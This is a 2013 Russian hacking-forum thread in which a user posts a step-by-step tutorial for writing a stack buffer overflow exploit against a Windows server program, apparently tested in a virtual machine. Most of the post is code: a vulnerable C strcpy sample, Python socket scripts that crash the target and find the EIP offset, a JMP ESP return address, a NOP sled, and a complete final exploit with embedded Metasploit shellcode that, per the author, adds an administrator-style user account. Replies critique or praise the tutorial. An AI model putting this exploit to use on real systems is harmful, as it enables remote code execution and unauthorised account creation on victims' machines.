Статьи Создаем свой простой Эксплойт.

Discussion in 'Статьи' started by ^NSA^, 28 Feb 2013.

  1. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    Всем приветы, Долга думал о чем написать статью ,Так как сам недавно стал изучать создание экслойта.
    Это статья о том как создать свой эксплойт под Windows.

    Сперва бежим за софтом нам.

    1.Виртуальная машина на вас вкус.(vmware player,virtualbox) гооглим
    2.Система Windows я тестил свой на XP.
    3.Metasploit framework 3 для скриптом и начинки линк
    4.Immunity Debugger линк
    5.Python линк
    6.Наша программа Vserver линк

    Зеркало линк

    Сперва начнем простого пример кода.

    Code:
    greeting(char *temp1, char *temp2) {
    //buffer мах 400 байт
    char name[400];
    //копирует значение темп2 в в буфер
    strcpy(name, temp2);
    // выводим привествие и  сам буфер
    printf("Hello %s %s\n", temp1, name);
    }
    main(int argc, char *argv[]){
    вызываем функцию 
    greeting(argv[1], argv[2]);
    
    }
    
    
    Так вот если передать строку больше 400байт программа зависнет.
    Произойдет переполнение буфера.

    Происходит это потому что что затерт адрес для EIP другим значением выполнение команды.
    пример под же дан. Про EIP гооглим.

    Дальше нам надо знать что ESP указывает на верхушку стека.(представ те стопку тарелок)
    Что такое Стэк гооглим.


    Первое что мы сделаем это переполним буфер что для падение программы.

    Code:
    import sys, socket
    host = '192.168.17.128'
    port=15000
    b = b"A" * 1000
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port)) 
    s.send(b)
    s.close() 
    
    
    [​IMG]

    Как видим наша программа упала значит добились результата.
    Запустите снова программу.
    Откроем нашу программу Immunity Debugger посмотрим что произошло.
    для этого делаем так рис и выбираем прогу на нашем порту.
    Программа сразу на паузе нажмите F9 она продолжает работать и запустите снова скрипт
    смотрим что там. EIP переписан.

    [​IMG]

    Дальше надо создать спец паттерн чтоб легче было исповедовать.
    Для этого используем инструменты из Metasploit framework.
    по умолчанию cd C:\Program Files\Metasploit\Framework3\framework\tools
    Создаем паттерн сохраняем в филе ruby pattern_create.rb 1000 >pat1000.txt
    Копируем строчку из файла в скрипт.

    Code:
    import sys, socket
    host = '192.168.17.128'
    port=15000
    b = b"A" * 1000
    pat="ваша строка"
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port)) 
    s.send(pat)
    s.close() 
    
    
    Жмем в дебагере ctrl+f2
    Запускаем снова скрипт смотрим в дебагре рис .
    [​IMG]
    копируем значение EIP 41386241 = 54 мы уже можем посчитать скок памяти.
    в нашей консоле запускаем скрипт
    cd C:\Program Files\Metasploit\Framework3\framework\tools
    ruby pattern_offset.rb 41386241 1000 ответ 54
    esp 0012EC20 63413962 b9Ac =58
    разница 4 байта.



    Code:
    
    [COLOR=Sienna]Переделываем наш  скрипт что  было больше места для шеллкода .
    [/COLOR]
    j =b"A" * 54 
    eip =b"BBB"
    nops=b"C" * 2000
    evil =j+eip+nops
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port)) 
    s.send(evil)
    s.close() 
    
    

    Запускаем дебагер а потом скрипт и просматриваем макс место для шеллкода.рис


    [​IMG]


    от нашего место отнять указатель стека 0x0012F434 - 0x0012EC20 получим размер свободной памяти,
    для нашего шеллкода.

    [​IMG]

    Осталось установить переход на на либу найдите jmp esp на либ dll.
    потом этот адрес запишете до было 0x7E429353 в little indian \x53\x93\x42\x7E
    потом подставляем в его eip=b"\x53\x93\x42\x7E" добавляем nop = \x90.(не чего не выполняет)



    добавляем шеллкод от метаслойта.
    Всю сборку тестим и фиксим.
    Вот как бы все.

    Code:
    #!/usr/bin/python
    #58
    import sys, socket
    host = '192.168.17.128'
    port=15000
    b = b"A" * 1000
    pat="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh"
    
    
    sh=("\xb8\xea\xc8\x9e\x95\xda\xd7\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
    "\x34\x83\xeb\xfc\x31\x43\x0e\x03\xa9\xc6\x7c\x60\xd1\x3f\xc4"
    "\x8b\x29\xc0\x4e\xce\x15\x4b\x2c\xd4\x1d\x4a\x22\x5d\x92\x54"
    "\x37\x3d\x0c\x64\xac\x8b\xc7\x52\xb9\x0d\x39\xab\x7d\x94\x69"
    "\x48\xbd\xd3\x76\x90\xf4\x11\x79\xd0\xe2\xde\x42\x80\xd0\x1a"
    "\xc1\xcd\x92\x7c\x0d\x0f\x4e\xe4\xc6\x03\xdb\x62\x87\x07\xda"
    "\x9f\xbc\x24\x57\x5e\x29\xdd\x3b\x45\xa9\x1d\x9c\xb4\x47\xc1"
    "\x75\xd3\x2c\x44\x4a\x90\x72\x45\x21\xd6\x6e\xf8\xbe\x7f\x86"
    "\x8b\x39\xfc\x56\xe1\xe9\x6b\xa6\x7c\x0d\x33\x2e\x19\xf0\x41"
    "\xa0\x4e\xf2\xb1\xdf\x1d\x68\x10\x7a\xa6\x15\x4c\xab\x35\xf6"
    "\xe2\xd6\xcd\xd6\x8f\x6b\x4b\x65\x50\xe6\xf6\xfd\xf1\x8b\x88"
    "\x91\x9e\x02\x1d\x4a\x0c\xb1\xa9\xeb\xee\x16\x13\xa8\xaa\x48"
    "\xb5\x16\x13\xe6\xdc\x22\x73\x9a\x71\xa8\x12\x0e\xe9\x5c\xba"
    "\xbb\x85\x80\x05\x27\x0b\xa8\xeb\xce\xa0\x5e\x86\x71\x33\xf0"
    "\x14\x02\x9b\x63\xbc\x90\xba\x08\x4e\x34\x52\x86\xda\xe4\x83"
    "\x19\x67\xa0\xdb\x99\x67")
    
    j =b"A" * 54 
    nop =b"\x90" *25
    #int3 =b"\xcc"
    i=b'\x53\x93\x42\x7E'
    
    evil= j + i + nop+sh
    
    print 0x0012F434 - 0x0012EC20
    #int 3 \xcc
    print len(evil)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port)) 
    s.send(evil)
    s.close() 
    
    
    
    Экслойт добавляет юзера metasploit и пасс meta.

    Много вопросов ? видео тут

    Автор ^NSA^ 2013г
     
    #1 ^NSA^, 28 Feb 2013
    Last edited: 28 Feb 2013
  2. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    #!/usr/bin/python

    лучше бы калькулятор запустил.
     
    #2 justonline, 28 Feb 2013
    Last edited: 28 Feb 2013
  3. А.Бабушкин

    Joined:
    25 Feb 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    своременный антивирус спалит все!
    качайте "Иммунитет"!
     
  4. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    практически ничего не понятно.то загугли,тама берется это а оттуда то.в таком мотиве...
     
  5. taha

    taha Elder - Старейшина

    Joined:
    20 Aug 2006
    Messages:
    399
    Likes Received:
    330
    Reputations:
    251
    Это не статья, а история проделанных шагов, в результате которых что-то получилось...

    В иделае нужно было сделать небольшой экскурс в ассемблер.. Объяснить, что такое стек, регистры, секции... Как компилируется функция на языке C в машнный код! Какие бывают фунции, как реализуется вызов в различных языках (cdecl fastcall stdcall) ...
    И только после этой теоретической справочки можно было бы приступить к уязвимому Сишному коду.

    Тогда стало бы ясно что где переполняет и почему!

    Я понятия не имею для кого писалась эта статья потому, что она ничему не учит. И прочитав ее неопытный читатель ничего не сможет сделать потому, что не поймет смысла вышеописанного.

    И сдается мне автор сам понимает с трудом.
     
  6. lexpetrov

    lexpetrov New Member

    Joined:
    6 Nov 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Супер. Два дня просидел, так не смог у себя ошибку найти. Статью прочитал - и вуаля :)
    Еще раз РЕСПЕКТ!!!
     
  7. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Подобную статью, лет пять назад читал в журнале ХАКЕР, когда тока начал осваивать хак, там была точна такая же статья, тока пример был приведен другой, вообщем Боян, а за старание молодец, может и сам додумался! +(0)
     
    _________________________